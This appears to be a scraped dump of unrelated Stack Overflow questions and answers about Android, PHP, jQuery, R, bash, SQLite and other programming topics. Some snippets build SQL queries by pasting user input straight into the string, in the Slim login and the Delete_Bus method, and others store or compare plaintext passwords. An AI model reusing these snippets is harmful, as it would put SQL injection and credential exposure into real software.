BasicNameValuePair("password", password)); params.add(new BasicNameValuePair("fname", fname)); // getting JSON Object // Note that create user url accepts POST method JSONObject json = jsonParser.makeHttpRequest(url_create_product, "POST", params); // check log cat from response //Log.d("Create Response", json.toString()); // check for success tag try { int success = json.getInt(TAG_SUCCESS); if (success == 1) { // successfully created USER Intent i = new Intent(getApplicationContext(), UserHome.class); startActivity(i); // closing this screen // finish(); } else { // failed to create USER // Log.d("No Sign Up.", json.toString()); } } catch(JSONException e){ // Log.e("log_tag", "Error parsing data "+e.toString()); // Log.e("log_tag", "Failed data was:\n" + TAG_SUCCESS); } return null; } /** * After completing background task Dismiss the progress dialog * **/ protected void onPostExecute(String file_url) { // dismiss the dialog once done pDialog.dismiss(); } } </code></pre> <p>jsonParser.java(partial)</p> <pre><code> public JSONObject makeHttpRequest(String url, String method, List&lt;NameValuePair&gt; params) { // Making HTTP request try { // check for request method if(method == "POST"){ // request method is POST // defaultHttpClient DefaultHttpClient httpClient = new DefaultHttpClient(); HttpPost httpPost = new HttpPost(url); httpPost.setEntity(new UrlEncodedFormEntity(params)); HttpResponse httpResponse = httpClient.execute(httpPost); HttpEntity httpEntity = httpResponse.getEntity(); is = httpEntity.getContent(); }else if(method == "GET"){ // request method is GET DefaultHttpClient httpClient = new DefaultHttpClient(); String paramString = URLEncodedUtils.format(params, "utf-8"); url += "?" + paramString; HttpGet httpGet = new HttpGet(url); HttpResponse httpResponse = httpClient.execute(httpGet); HttpEntity httpEntity = httpResponse.getEntity(); is = httpEntity.getContent(); } } catch (UnsupportedEncodingException e) { e.printStackTrace(); } catch (ClientProtocolException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } try { BufferedReader reader = new BufferedReader(new InputStreamReader( is, "iso-8859-1"), 8); StringBuilder sb = new StringBuilder(); String line = null; while ((line = reader.readLine()) != null) { sb.append(line + "\n"); } is.close(); json = sb.toString(); } catch (Exception e) { Log.e("Buffer Error", "Error converting result " + e.toString()); } // try parse the string to a JSON object try { jObj = new JSONObject(json); } catch (JSONException e) { Log.e("JSON Parser", "Error parsing data " + e.toString()); } // return JSON String return jObj; } </code></pre> <p>SLIM :index.php</p> <pre><code>&lt;?php session_start(); require 'Slim/Slim.php'; $app = new Slim(); $app-&gt;post('/login', 'login'); $app-&gt;post('/register', 'register'); $app-&gt;response()-&gt;header('Content-Type', 'application/json'); $app-&gt;get('/users', 'getUsers'); $app-&gt;get('/users/:id', 'getUser'); $app-&gt;get('/users/search/:query', 'findByName'); $app-&gt;post('/users', 'addUser'); $app-&gt;put('/users/:id', 'updateUser'); $app-&gt;delete('/users/:id', 'deleteUser'); $app-&gt;get('/gametype', 'getgameType'); $app-&gt;run(); // AUTHENTICATION START function login() { $request = Slim::getInstance()-&gt;request(); $user = json_decode($request-&gt;getBody()); $email= $user-&gt;email; $password= $user-&gt;password; // echo $email; // echo $password; if(!empty($email)&amp;&amp;!empty($password)) { $sql="SELECT email, fname, role FROM tbl_user WHERE email='$email' and password='$password'"; $db = getConnection(); try { $result=$db-&gt;query($sql); if (!$result) { // add this check. die('Invalid query: ' . mysql_error()); } $row["user"]= $result-&gt;fetchAll(PDO::FETCH_OBJ); $db=null; echo json_encode($row); } catch(PDOException $e) { error_log($e-&gt;getMessage(), 3, '/var/tmp/php.log'); echo '{"error":{"text":'. $e-&gt;getMessage() .'}}'; } } } // AUTHENTICATION END //$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // Register START function register() { $request = Slim::getInstance()-&gt;request(); $user = json_decode($request-&gt;getBody()); $sql = "INSERT INTO tbl_user (email, password, fname) VALUES (:email, :password, :fname)"; try { $db = getConnection(); $stmt = $db-&gt;prepare($sql); $stmt-&gt;bindParam("fname", $user-&gt;fname); $stmt-&gt;bindParam("password", $user-&gt;password); $stmt-&gt;bindParam("email", $user-&gt;email); $stmt-&gt;execute(); $user-&gt;id = $db-&gt;lastInsertId(); $db = null; print('{"success":1}'); } catch(PDOException $e) { error_log($e-&gt;getMessage(), 3, '/var/tmp/php.log'); echo '{"error":{"text":'. $e-&gt;getMessage() .'}}'; } } // Register END </code></pre> <p>Behavior of APP: After clickng signup buttom...app gets stuck here and crashes as "Unfortunately, yourapp has stopped."..</p> <p><img src="https://i.stack.imgur.com/Kbwsx.jpg" alt="AppSCREEN"></p>
19725382	0	 <p>You can use <code>$.proxy</code> to set the context within which a function should be called. try this:</p> <pre><code>beforeShowDay: $.proxy(this._processDate, this), </code></pre> <p>Now, within your <code>_processDate</code> function the <code>this</code> keyword will refer to your widget. You can get access to the element the event was raised on using <code>this.element</code>.</p>
5358680	0	 <p>Yes, that is a much more complicated task. You're going to have to store the last modified time into a database (since you're saying users can modify their profile content I'll assume you already have a database). The easiest way to get the last time the user modified their profile depends on your schema.</p> <p>To put it another way... what the user is actually modifying isn't "profile.php", it's some data that lives elsewhere, e.g. a MySQL database; so the system that's going to know when the user last modified it is that external data source.</p>
16070455	0	 <p>Why wouldn't be corrupted? You are opening a document, getting all of the child elements, and writing them to the same document. I am not sure what is that supposed to do.</p>
22663157	0	 <p>Overdispersion isn't really a useful concept in the normal model because it is already fitting a variance for the variability at the observation level. So the error message is telling you that you can't have a grouping factor at the observation level. In that sense, yes, you are trying to overfit your model.</p> <p>In a poisson (or other glm) model, however, it does make sense, because the variability at the observation level is fixed according to whatever the variance term in the glm is, so it does make sense to add an additional variance term to the model to account for any extra variability at the observation level. Hence <code>glmer</code> does not do the same check that <code>lmer</code> does.</p>
3944136	0	 <p>I <em>think</em> you want this:</p> <pre><code>$('#term').load('fetchcourses.php?', function() { $('[name=s2]').change(function() { $('#dept').load('fetchcourses.php?term='+$(this).val()); }); }); </code></pre> <p>The function passed to <code>load()</code> gets executed once the data is loaded. So if <code>$('[name=s2]')</code> actually refers to elements that are contained in the HTML returned from <code>fetchcourses.php</code>, then this should work.<br> But without telling more about the structure it is difficult to tell...</p>
34716062	0	 <p>Try this code :</p> <pre><code>&lt;div ng-init="setFromDiv = 'green'" ng-click="setFromDiv = 'green'"class="box green"&gt;&lt;/div&gt; &lt;div ng-click="setFromDiv = 'blue'" class="box blue"&gt;&lt;/div&gt; &lt;div ng-click="setFromDiv = 'red'" class="box red"&gt;&lt;/div&gt; &lt;div ng-click="setFromDiv = 'yellow'" class="box yellow"&gt;&lt;/div&gt; &lt;div class="mainBox" ng-class="setFromDiv"&gt;&lt;/div&gt; </code></pre>
3161587	0	SSRS - How can I conditionally send a report to a mail address <p>Let me specify the environment. The client has UI for entering orders in SQL Server database. A Windows Service one another machine is processing these orders from database at particular intervals. Sometimes the Windows service is stopped then orders piles up. To avoid that I have created a SQL Server Report which is run at an interval of 5mins. It checks how many orders are processed and creates a status report. What I want, if count of processed order is zero then the report be mailed to system administrator. Then he will check the machine where the service is hosted and restart the service, so that all rework is avoided. So the question is how to implement this conditional delivery of report. In short, if count is zero no report be mailed otherwise it must.</p>
35399107	0	 <p>Got it! Incredibly simple when you add a container node. The following seems to work for any positions in any quadrants.</p> <pre><code> // pointAt_c is a container node located at, and child of, the originNode // pointAtNode is its child, position coincident with pointAt_c (and originNode) // get deltas (positions of target relative to origin) let dx = targetNode.position.x - originNode.position.x let dy = targetNode.position.y - originNode.position.y let dz = targetNode.position.z - originNode.position.z // rotate container node about y-axis (pointAtNode rotated with it) let y_angle = atan2(dx, dz) pointAt_c.rotation = SCNVector4(0.0, 1.0, 0.0, y_angle) // now rotate the pointAtNode about its z-axis let dz_dx = sqrt((dz * dz) + (dx * dx)) // (due to rotation the adjacent side of this angle is now a hypotenuse) let x_angle = atan2(dz_dx, dy) pointAtNode.rotation = SCNVector4(1.0, 0.0, 0.0, x_angle) </code></pre> <p>I needed this to replace lookAt constraints which cannot, easily anyway, be archived with a node tree. I'm pointing the y-axis because that's how SCN cylinders and capsules are directed.</p> <p>If anyone knows how to obviate the container node please do tell. Everytime I try to apply sequential rotations to a single node, the last overwrites the previous one. I haven't the knowledge to formulate a rotation expression to do it in one shot.</p>
16555300	0	 <p>This question has been answered already, but I want to point out that form_open() <strong>without</strong> any arguments would do exactly what you want (creating an action=""). </p> <p>So you can simply use the snippet below:</p> <pre class="lang-php prettyprint-override"><code>&lt;?php echo form_open(); ?&gt; </code></pre> <p>Here is a reference from the CodeIgniter's Source:</p> <pre class="lang-php prettyprint-override"><code>function form_open($action = '', $attributes = '', $hidden = array()) </code></pre>
498526	0	Native vs. Protothreads, what is easier? <p>I just stumbled on Protothreads. They seems superior to native threads since context switch are explicit. </p> <p>My question is. Makes this multi-threaded programming an easy task again?</p> <p>(I think so. But have I missed something?)</p>
28657676	0	Bash EXIT trap with command substitution <p>I want a bash function to start a background process and set a trap to kill it when exiting. Something like:</p> <pre><code>function start { &lt;&lt;&lt;run process&gt;&gt;&gt; &amp; local pid="$!" trap "kill -9 $pid" EXIT echo $pid } </code></pre> <p>Now, if I just call this function directly, it works, but if I use command substitution to store pid for later use:</p> <pre><code>local pid=$(start) </code></pre> <p>Then apparently this starts another bash process and the trap is executed in it right after the function returns.</p> <p>Any way to make this work?</p>
25328659	0	 <p>Maybe..</p> <pre><code>public void Delete_Bus(String bus_num) { SQLiteDatabase db=this.getWritableDatabase(); db.execSQL("DELETE FROM "+TABLE_BUS+" WHERE "+KEY_BUS_NUM+"='"+bus_num+"'"); db.close(); } </code></pre>
11283508	0	How to fetch records using predicate from A having relationship with A<-->B<-->C with coredata <p>I have three entities A,B,C. EntityA: Properties: Id,Name Relationships: ABRelation(A-->>B)</p> <p>EntityB: Properties: Id,Name Relationships: BARelation(B-->A) BCRelation(B-->>C)</p> <p>EntityC: RoleId CBRelation(C-->>B)</p> <p>Now I need to fetch records from Entity A having some RoleId = 23 which is contain in C.</p> <p>Could you please help me quickly.Thanks in Advance.</p>
18232552	0	Create Custom Action tab bar <p>I am trying to create a custom tabbar using <a href="http://www.androidbegin.com/tutorial/implementing-actionbarsherlock-side-menu-navigation-with-fragment-tabs-tutorial/" rel="nofollow noreferrer">this tutorial</a> for android 2.3.3 and above,but the title bar is disabled(Refer the image attached app deployed on Android 2.3.3 ).</p> <p><img src="https://i.stack.imgur.com/LLItU.png" alt="enter image description here"></p> <p>Also, how do I customize the titlebar. Please guide me for the same.</p>
36799704	0	 <p>Here's an ersatz LR lexer/parser (in Python, but porting should be easy). Valid input is assumed.</p> <pre><code>#!/usr/bin/env python3 import re def parse(s): children = {} stack = [] for token in re.findall('[+-]?[0-9]+|.', s): if token == '[': stack.append(n) elif token == ']': del stack[-1] elif token != ',': n = int(token) children[n] = [] if stack: children[stack[-1]].append(n) return children &gt;&gt;&gt; print(parse('2[5],3[6,12[15,16]]')) {16: [], 2: [5], 3: [6, 12], 5: [], 6: [], 12: [15, 16], 15: []} </code></pre>
28188596	0	 <p>You forgot to override among others the <a href="http://docs.oracle.com/javase/8/docs/api/java/util/ArrayList.html#size--" rel="nofollow"><code>size()</code></a> and <a href="http://docs.oracle.com/javase/8/docs/api/java/util/ArrayList.html#isEmpty--" rel="nofollow"><code>isEmpty()</code></a> methods. Moreover, you're never delegating to <code>ArrayList</code> superclass, but keeping an internal <code>ArrayList</code> instance. One would wonder why you extend from <code>ArrayList</code> at all instead of <a href="http://docs.oracle.com/javase/8/docs/api/java/util/AbstractList.html" rel="nofollow"><code>AbstractList</code></a> or even <a href="http://docs.oracle.com/javase/8/docs/api/java/util/List.html" rel="nofollow"><code>List</code></a>, which would in turn automatically force you to implement the right methods. An alternative would thus be to delegate to the <code>ArrayList</code> superclass instead of having an internal instance, so that the <code>size()</code> and <code>isEmpty()</code> calls would "automagically" return the right values.</p>
14654124	0	 <p>You can use as mentioned below. You need a structure with an array of int.</p> <pre><code> struct Player { public int[] cards = new int[13]; }; </code></pre> <p>Then your while loop goes something like below</p> <pre><code>Palyer []player = new Palyer[4]; int random; int i = 1; while (i &lt;= 4) { cout &lt;&lt; "Card of Player " &lt;&lt; i &lt;&lt; " : "; int j = 0; while (j &lt; 13) { random = rand() % 52; if (player[i].cards[random] == NULL) { cards[random] = i; cout &lt;&lt; cardName(random) &lt;&lt; " , "; player[i].cards[j] = random; /* That's what I'm doubt with */ j++; } } i++; } </code></pre> <p>//Like the answer if it is helpful</p>
5124361	0	 <p>"onSaveInstanceState only seems to support primitives"</p> <p>onSaveInstanceState supports objects, as long as they are declared serializable.</p> <pre><code>// ON_SAVE_INSTANCE_STATE // save instance data (5) on soft kill such as user changing phone orientation protected void onSaveInstanceState(Bundle outState){ password= editTextPassword.getText().toString(); try { ConfuseTextStateBuilder b= ConfuseTextState.getBuilder(); b.setIsShowCharCount(isShowCharCount); b.setTimeExpire(timeExpire); b.setTimeoutType(timeoutType); b.setIsValidKey(isValidKey); b.setPassword(password); state= b.build(); // may throw } catch(InvalidParameterException e){ Log.d(TAG,"FailedToSaveState",e); // will be stripped out of runtime } outState.putSerializable("jalcomputing.confusetext.ConfuseTextState", state); // save non view state super.onSaveInstanceState(outState); // save view state //Log.d(TAG,"onSaveInstance"); } </code></pre>
15692565	0	 <p>I would suggest to create an Items constructor</p> <pre><code>Items(string weapon, string armour, int gold); </code></pre> <p>And change your player constructor to</p> <pre><code>Player(int health, int stamina, int keys, Items items); </code></pre> <p>You can then aggregate <code>Items</code> in <code>Player</code>.</p>
28085866	0	SQL Update to increment existing fields <p>I have an SQL table called 'Sales'</p> <p>I have the fields</p> <pre><code>ShopID int TotalSalesValue numeric(18.2) </code></pre> <p>Contents</p> <pre><code>ShopID | TotalSalesValue 1 | 10.34 2 | 100 </code></pre> <p>I have a stored procedure where I pass in the ShopID and addistion sales. What this does is check if the Shop ID exists in the table and if it does not, then it INSERTS into the table. If it goes exists I issue the UPDATE command. However, It update comment replaces the existing value, what I want to do it add onto the existing TotalSalesValue, a += if you may.</p> <p>Can anyone suggest a way to do this.</p> <p>Thanks in advance</p>
6404464	0	 <p>If you look at the source code in <a href="http://webtimingdemo.appspot.com/" rel="nofollow">http://webtimingdemo.appspot.com/</a> it runs the code AFTER onload (setTimeout('writeTimings()', 0)), your code runs in $(document).ready() which runs before onload as it runs on DOMContentLoaded in Chrome.</p> <p>I have put a setTimeout into your code and now it works: See <a href="http://jsbin.com/acabo4/8" rel="nofollow">http://jsbin.com/acabo4/8</a></p> <pre><code>var performance = window.performance || window.mozPerformance || window.msPerformance || window.webkitPerformance || {}; var timing = performance.timing || {}; function getTiming(timingStr) { if (!timing) return 0; var time = timing[timingStr]; return time; } var loadTime = (new Date().getTime() - getTiming("navigationStart"))/1000; $(document).ready(function() { setTimeout(function(){ var perflist = '&lt;ul id=perflist&gt;'; for(var performer in timing){ var j = getTiming(performer); perflist += '&lt;li&gt;' + performer + ' is: ' + j + '&lt;/li&gt;'; } perflist += '&lt;/ul&gt;'; $("body").prepend(perflist); $("#adminmenu").prepend("&lt;li&gt;Load time : " + loadTime + " seconds&lt;/li&gt;") }, 100); }); </code></pre>
5172616	0	How to parse one text file to multiple files based on data contained within <p>I have an enormous text file that I'd like to parse into other files - I think the only thing I have on this box (company computer) to use is VBS, so here's my question:</p> <p>I have text file with a bunch of network configurations that looks like this:</p> <p>"Active","HostName","IPAddress"<br> !<br> .......<br> end<br></p> <p>This repeats itself throughout the file, but obviously for each configuration different data will occur within the "..." It always says "Active" for each configuration as well.</p> <p>I want to create save files of the type HostName.cfg for each configuration and save all of the text between and including the ! and "end" . The line with the three quoted attributes doesn't need to be copied.</p> <p>I'm still learning VBS so I'd appreciate any help in the matter. Thanks!</p>
6401393	0	 <p>You should probably write your application as a Home application. There is an example in the developer docs here:</p> <p><a href="http://developer.android.com/resources/samples/Home/index.html" rel="nofollow">http://developer.android.com/resources/samples/Home/index.html</a></p> <p>Then you'd be able to switch the default Home application for your one.</p>
12011482	0	 <p>Whatever is not implemented in the Linux kernel, you have to implement yourself or borrow from another open source kernel module. However, you'll find that <code>strcat</code> is implemented in the kernel.</p> <p>See the <a href="http://www.kernel.org/doc/htmldocs/kernel-api/">kernel API</a> documentation. Specifically the <a href="http://www.kernel.org/doc/htmldocs/kernel-api/libc.html">Basic C Library Functions</a> section for your general question, and the <a href="http://www.kernel.org/doc/htmldocs/kernel-api/ch02s02.html">String Manipulation</a> section for your specific question about <code>strcat</code>.</p> <p>You'll want to include <code>linux/string.h</code>.</p> <p>I don't know why the kernel API documentation doesn't actually show the header file that you have to include to get the function. But if you're looking for something, you can restrict your search to <code>/include/linux</code> because that is where header files go if they have functions that are shared amongst different parts of the kernel.</p> <p>Header files outside <code>/include/linux</code> contain definitions only for source files residing in the same directory as the header. The exception is <code>/arch/.../include</code>, which will contain architecture-specific headers instead of platform independent ones.</p>
33730659	0	 <p>With all the hints I found out that <code>DataGridTextColumn</code> is neither part of the visual tree nor of the logical tree. That should be the reason why <code>ElementName</code> and <code>RelativeSource</code> do not work. This answer regarding <code>DataGridTextColumn</code> explains that and gives a possible solution with <code>Source</code> and <code>x:Reference</code>: <a href="http://stackoverflow.com/questions/8847661/datagridtextcolumn-visibility-binding">DataGridTextColumn Visibility Binding</a></p> <p>The answer of @Anand Murali works but cannot be applied to <code>Visibility</code> - that was not part of the question because I minimalized that away. So I accept that one and will give more information in this one.</p> <p>Using <code>x:Reference</code> for <code>Visibility</code> it can turn out like:</p> <pre><code>&lt;DataGridTextColumn Binding="{Binding Data.OrderNumber}" Header="Order Number" Visibility="{Binding DataContext.ShowColumnOrderNumber, Source={x:Reference LayoutRoot}, Converter={StaticResource BooleanToVisibilityConverter}}" /&gt; </code></pre> <p>But: I my example I use a <code>ControlTemplate</code> and to have <code>x:Reference</code> to work this template must be within a <code>.Resources</code> XAML part in the same file and cannot be in an external <code>ResourceDictionary</code>. In the latter case the reference will not work because it cannot be resolved. (If someone knows a solution to that it would be welcome)</p>
30140030	0	How to check if Graph is connected <p>I have a un-directed graph, and wanted to know a node is connected to another node or not?</p> <p>for example </p> <pre><code>0 1 0 1 0 1 0 1 0 </code></pre> <p>In this node 1 is connected to node 3 ( because there is a path from 1 to 2 and 2 to 3 hence 1-3 is connected )</p> <p>I have written programs which is using DFS, but i am unable to figure out why is is giving wrong result.</p> <p><em>I don't want to keep any global variable</em> and want my method to return true id node are connected using <em>recursive</em> program</p> <pre><code>public static boolean isConnectedGraph(int[][] graph, int start, int end, int visited[]) { visited[start] = 1; if (graph[start][end] == 1) { System.out.println("Yes connected...."); return true; } for (int i = 0; i &lt; graph[0].length; i++) { if (graph[start][i] == 1 &amp;&amp; visited[i] == 0) { visited[i] =1; isConnectedGraph(graph, i, end, visited); } } return false; } </code></pre>
549600	0	Is there a fundamental difference between backups and version control? <p>How does version control differ from plain backups?</p> <p>Let's forget about the feature decoration, and concentrate on the soul of version control. Is there a clear line that backups must cross before they can be called a VCS? Or are they, at heart, the same thing with different target markets?</p> <p>If there is a fundamental difference, what is the absolute minimum requirement for something to reach the status of version control?</p> <p><em>When you answer, please don't just list features (such as delta compression, distributed/central repositories, and concurrent access solutions) that most version control systems have or should have, unless they actually are necessary for a VCS by definition.</em></p>
16611423	0	Send picture from android phone to a local web server <p>I've been searching all over and found a bunch of examples of ways to send a picture to a web server. So far none have quite worked for me. Maybe I started in the wrong end but I've already written the code for the controller which is to take care of the received picture.</p> <p>I'm using a Tomcat web server and written all the code on the server side with Spring Tool Suite with the MVC Framework. The controller is written like this:</p> <pre><code>@RequestMapping(value = "/upload", method = RequestMethod.POST) public String handleFormUpload(@RequestParam("name") String name, @RequestParam("file") MultipartFile file) throws IOException { if (!file.isEmpty()) { byte[] bytes = file.getBytes(); // store the bytes somewhere return "redirect:uploadSuccess"; } else { return "redirect:uploadFailure"; } } </code></pre> <p>The .jsp is written like this:</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt;Upload a file please&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;Please upload a file&lt;/h1&gt; &lt;form method="post" action="/form" enctype="multipart/form-data"&gt; &lt;input type="text" name="name"/&gt; &lt;input type="file" name="file"/&gt; &lt;input type="submit"/&gt; &lt;/form&gt; &lt;/body&gt; </code></pre> <p></p> <p>So basically what I'd like to know: <br/> How can I write a class/method that sends a picture from my phone to the web server?</p> <p>I appreciate all the help I can get!</p>
37355029	0	 <p>One thing you could do is take advantage of the <code>std::minmax</code> overload that takes a <code>std::initializer_list&lt;T&gt;</code> and returns a <code>std::pair&lt;T,T&gt;</code>. Using that you could have</p> <pre><code>int main() { const int a = 10, b = 20; static_assert(std::minmax({2, 1}) == std::make_pair(1, 2)); static_assert(std::minmax({a, b}) == std::make_pair(a, b)); } </code></pre> <p>Which <a href="http://coliru.stacked-crooked.com/a/d4630df7a71f182f">will compile</a> and allows you to get rid of <code>make_cref_pair</code>. It does call <code>std::minmax_element</code> so I am not sure if this decreases the efficiency or not.</p>
7029215	0	 <p>oh, I just got what you mean by total revenue going down, weird...</p> <p>I suppose total revenue is only shown for the period of time selected, if you view a 30 or 90 days window, total revenue going down means the revenue over that period is lower than it was for the previous same-length period.</p> <p>Check "pending earning"s to see the all-time total amount on your account.</p>
29153431	0	 <p>You should add a tap gesture recognizer to your table view that closes the keyboard when it's fired:</p> <pre><code>//Somewhere in setup UITapGestureRecognizer *viewTap = [[UITapGestureRecognizer alloc] initWithTarget:self action:@selector(closeKeyboard)]; viewTap.cancelsTouchesInView = FALSE; [myTableView addGestureRecognizer:viewTap]; //Somewhere else in your class -(void)closeKeyboard { [self.view endEditing:TRUE]; } </code></pre>
35662520	0	 <p>Remove the Chr from every item in the first column (you can go through every line and only keep </p> <pre><code> [3:] </code></pre> <p>of each line, means everything but the first 3 chars. Then sort the lines by the first column and you should almost be finished?</p>
19869231	0	Opening multiple programs on a HTA <p>I'm using a HTA and I want to make various buttons to open different programs on the system.</p> <p>I've managed to get one program to run via the runfile command but how do I write to open another program using a separate button such as MS Word for example.</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt;Start Screen&lt;/title&gt; &lt;HTA:APPLICATION ID="startscreen" APPLICATIONNAME="startscreen" BORDER="thin" BORDERSTYLE="normal" CAPTION="yes" ICON="ss.ico" MAXIMIZEBUTTON="no" MINIMIZEBUTTON="yes" SCROLL="no" SHOWINTASKBAR="yes" SINGLEINSTANCE="yes" SYSMENU="yes" VERSION="1.0" Navigable ="yes" WINDOWSTATE="normal" contextmenu="no" /&gt; &lt;script type="text/javascript" language="javascript"&gt; function RunFile() { WshShell = new ActiveXObject("WScript.Shell"); WshShell.Run("c:/windows/system32/notepad.exe", 1, false); } &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;input type="button" value="Run Notepad" onclick="RunFile();"/&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
30614683	0	matching login info to external file php <p>I have html registration form with username and password inputs. Usernames and passwords are stored in <code>.txt</code> file like this:</p> <pre><code>username1,password1 username2,password2 </code></pre> <p>I need to match entered username and password with the stored ones. This is my code, but something is not working, can somebody advise? </p> <pre><code>&lt;form action = "./get_form.php" method = "post" name = "form" &gt; Username: &lt;input type= "text" name = "username" &gt; Password: &lt;input type= "text" name = "passwords" &gt; Remember me: &lt;input type= "checkbox" name = "remember" value = "checked" &gt; &lt;input type = "submit" name = "submit" value= "Submit Query" &gt; &lt;/form&gt; &lt;?php $username= $_POST["username"]; $password= $_POST["password"]; $contents = file("passwords.txt"); $found = false; foreach ($contents as $line) { $data = explode(',', $line); if (($username === $data[0]) &amp;&amp; ($password === $data[1])) { $found = true; } } ?&gt; </code></pre>
15074850	0	 <p>It's not that you can't access "primitive values" by reference. The problem is that some data types in Python are mutable (lists, dictionaries) while others are immutable (integers, strings, tuples). Whenever you try to modify an immutable object, you always get back a new object with the new value. The original object remains untouched. So...</p> <pre><code>a = 3 # create a new object with the value 3 and bind it to the variable 'a' b = a # bind the variable 'b' to the same object as 'a' </code></pre> <p>Here both 'a' and 'b' are referencing the same object at the same location in memory. However, because the object is immutable, modifying 'b' does not have the "expected" result...</p> <pre><code>b = 4 print a # displays "3" </code></pre> <p>Those of us coming from C/C++ aren't used to "immutable objects". In C, you would expect "b = 4" to modify the "object" b is pointing to, setting its value to 4. In Python, this isn't the case. "b = 4" creates a new object whose value is 4 and modifies b so that it points to this new object.</p>
11144267	0	 <p>If you use Three20, you can try this extension:</p> <p><a href="https://github.com/RIKSOF/three20/tree/development/src/extThree20Facebook" rel="nofollow">https://github.com/RIKSOF/three20/tree/development/src/extThree20Facebook</a></p> <p>It allows you to use all Graph API features with just a few line of code.</p>
10511836	0	 <pre><code>var f = Ti.Filesystem.getFile(Ti.Filesystem.resourcesDirectory,'example.txt'); var contents = f.read(); Ti.API.info('Output text of the file: '+contents.text); </code></pre> <p>This will give you the text. You can't simply put the text on the scroll view, you will need a label / textbox etc. set the value of one of those controls to the above print out.</p> <p>Here is a link to the API, this has every method and sample pieces of code, you will need to research / learn you can't just ask for everything you need.</p> <p>Would also recommend downloading the kitchen sink demo app as it has just about an example of everthing</p>
19270053	0	php str_replace not works <p>I have a html code putted in a variable. I want to replace any relative image src to absolute aby using str_replace. like this:</p> <pre><code>$export = 'some html codes' $repthis = 'src="/images'; $reptothis = 'src="http://images.site.com'; $export = str_replace($repthis, $reptothis, $export); </code></pre> <p>but this code is not working for me. I tried this code for test and it is working:</p> <pre><code>$export = 'some html codes' $repthis = "text1"; $reptothis = "text2"; $export = str_replace($repthis, $reptothis, $export); </code></pre> <p>this code is replacing text1 by text2 in my html code correctly. please help me.</p>
8827607	0	 <p>Use <a href="http://php.net/manual/en/function.strftime.php" rel="nofollow"><code>strftime()</code></a> in conjunction with <a href="http://www.php.net/manual/en/function.setlocale.php" rel="nofollow"><code>setlocale()</code></a>. Seems like it's what you're looking for.</p>
16750242	0	 <p>This is because you are effectively only using <code>data1</code>.</p> <p>The first loop can be expanded to</p> <pre><code>data1 = read.table('data1_lambda.dat', ...) data2 = read.table('data2_lambda.dat', ...) data3 = read.table('data3_lambda.dat', ...) </code></pre> <p>whereas your second loop is a bit buggy and the cause of the fault. If I expand the loop, what happens is:</p> <pre><code>plot(data.frame(data1[1], data1[2]), ...) lines(data.frame('data2[1]', 'data2[2]', ...) lines(data.frame('data3[1]', 'data3[2]', ...) </code></pre> <p>i.e. what you think is fetching <code>data2</code> and <code>data3</code>, you are really only using the strings <code>'data2'</code> and <code>'data3'</code> (note the quotation marks).</p> <p>Without assuming too much of your data and restructuring you entire code, this should do the trick (for the second loop). Since you only have three data-files, looping seems a bit extensive contra the problems they are introducing.</p> <pre><code>plot(data.frame(data1[1], data1[2]), xlim=c(-0.2, -7), ylim=c(0.31, 0.35), yaxt="n", type="l", xlab="", ylab="",lty="solid", col="red2", lwd=4, axes=TRUE) lines(data.frame(data2[1], data2[2]) ,lty="twodash", col="deepskyblue4", lwd=4) lines(data.frame(data3[1], data3[2]) ,lty="twodash", col="deepskyblue4", lwd=4) </code></pre> <p>If you insist on looping, we could do:</p> <pre><code>for(i in 1:3){ if(i==1){ plot(data.frame(data1[1], data1[2]), xlim=c(-0.2, -7), ylim=c(0.31, 0.35), yaxt="n", type="l", xlab="", ylab="",lty="solid", col="red2", lwd=4, axes=TRUE) } else { dat &lt;- get(paste('data', i, sep='')) lines(data.frame(dat[1], dat[2]) ,lty="twodash", col="deepskyblue4", lwd=4) } } </code></pre> <p>To further comment your code, in your <code>read.table</code> call, you have two nested <code>paste</code> calls, which in this case is unnecessary.</p> <p>paste(paste("data", i, sep=""),"_lambda.dat",sep="") # could be done with paste(paste("data", i, "_lambda.dat",sep="")</p>
35098118	0	How to create report table in sql? <p>I am creating In-patient management system desktop application in javafx as my mini project of MCA, which has some data about patient admitted in hospital.</p> <p>I have to save all the records of patient test &amp; test reports in a database.</p> <p>So, I have created <code>Test</code> table with following attributes </p> <pre><code>-&gt;(T_ID, P_ID, T_NAME, T_DATE), </code></pre> <p><code>Report</code> table with following attributes </p> <pre><code>-&gt;(R_ID, P_ID, P_NAME, T_DATE, REF_BY) </code></pre> <p>So, there are multiple types of Test Report like,</p> <pre><code>eg. CBC_REPORT, LFT_REPORT etc. </code></pre> <p>then how should I create the relationship between this table.</p> <p>I tried but I am facing problem in user interface for inputing values in table.</p>
18564726	0	 <p>I have found in the past that there are 3 dlls you need to have the correct version of for debugging .Net.</p> <p>sos.dll mscorwks.dll mscordacwks.dll</p> <p>here's how I usually go about getting these dll's <a href="http://sjbdeveloper.blogspot.com.au/" rel="nofollow">http://sjbdeveloper.blogspot.com.au/</a>, although it sounds as though you are using a server based application which means you could possibly just grab them from your production box, assuming you have access to it, or a staging box if you don't.</p>
35667576	0	 <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$(function() { //----- OPEN $('[data-popup-open]').on('click', function(e) { var targeted_popup_class = jQuery(this).attr('data-popup-open'); $('[data-popup="' + targeted_popup_class + '"]').fadeIn(350); setTimeout(function(){ $('.newsletter-popup').fadeOut(); }, 2000); e.preventDefault(); }); //----- CLOSE $('[data-popup-close]').on('click', function(e) { var targeted_popup_class = jQuery(this).attr('data-popup-close'); $('[data-popup="' + targeted_popup_class + '"]').fadeOut(); e.preventDefault(); }); });</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>/* Outer */ .newsletter-popup { width:100%; height:100%; display:none; position:fixed; top:0px; left:0px; background:rgba(0,0,0,0.75); } /* Inner */ .popup-inner { max-width:700px; width:90%; padding:40px; position:absolute; top:50%; left:50%; -webkit-transform:translate(-50%, -50%); transform:translate(-50%, -50%); box-shadow:0px 2px 6px rgba(0,0,0,1); border-radius:3px; background:#fff; } /* Close Button */ .popup-close { width:30px; height:30px; padding-top:4px; display:inline-block; position:absolute; top:0px; right:0px; transition:ease 0.25s all; -webkit-transform:translate(50%, -50%); 